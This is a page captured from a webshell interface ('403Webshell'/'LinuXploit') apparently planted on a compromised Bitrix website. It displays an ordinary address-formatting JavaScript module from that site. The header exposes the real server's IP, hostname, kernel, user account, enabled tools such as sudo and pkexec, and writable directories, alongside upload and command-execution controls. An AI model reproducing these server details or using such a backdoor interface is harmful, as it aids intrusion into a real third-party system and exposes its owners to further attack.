403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/widget/src/mappopup/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/widget/src/mappopup/addressstring.js
import {Tag} from 'main.core';
import {Address, Format, AddressStringConverter, FormatTemplateType} from 'location.core';

export default class AddressString
{
	#address;
	#element;
	#stringElement;
	#addressFormat;

	constructor(props)
	{
		if (!(props.addressFormat instanceof Format))
		{
			throw new Error('addressFormat must be instance of Format');
		}

		this.#addressFormat = props.addressFormat;
	}

	set address(address: ?Address): void
	{
		this.#address = address;

		if (!this.#stringElement)
		{
			return;
		}

		this.#stringElement.innerHTML = this.#convertAddressToString(address);

		if (!address && !this.isHidden())
		{
			this.hide();
		}
		else if (address && this.isHidden())
		{
			this.show();
		}
	}

	#convertAddressToString(address: ?Address): string
	{
		let result = '';

		if (address)
		{
			result = AddressStringConverter.convertAddressToStringTemplate(
				address,
				this.#addressFormat.getTemplate(FormatTemplateType.DEFAULT),
				AddressStringConverter.CONTENT_TYPE_HTML,
				', ',
				this.#addressFormat
			);
		}

		return result;
	}
	
	render(props): Element
	{
		this.#address = props.address;
		const addresStr = this.#convertAddressToString(this.#address);
		this.#stringElement = Tag.render`<div class="location-map-address-text">${addresStr}</div>`;

		this.#element = Tag.render`
			<div class="location-map-address-container">
				<div class="location-map-address-icon"></div>
				${this.#stringElement}
			</div>`;

		if (addresStr === '')
		{
			this.hide();
		}

		return this.#element;
	}

	show()
	{
		if (this.#element)
		{
			this.#element.style.display = 'block';
		}
	}

	hide()
	{
		if (this.#element)
		{
			this.#element.style.display = 'none';
		}
	}

	isHidden()
	{
		return !this.#element || this.#element.style.display === 'none';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit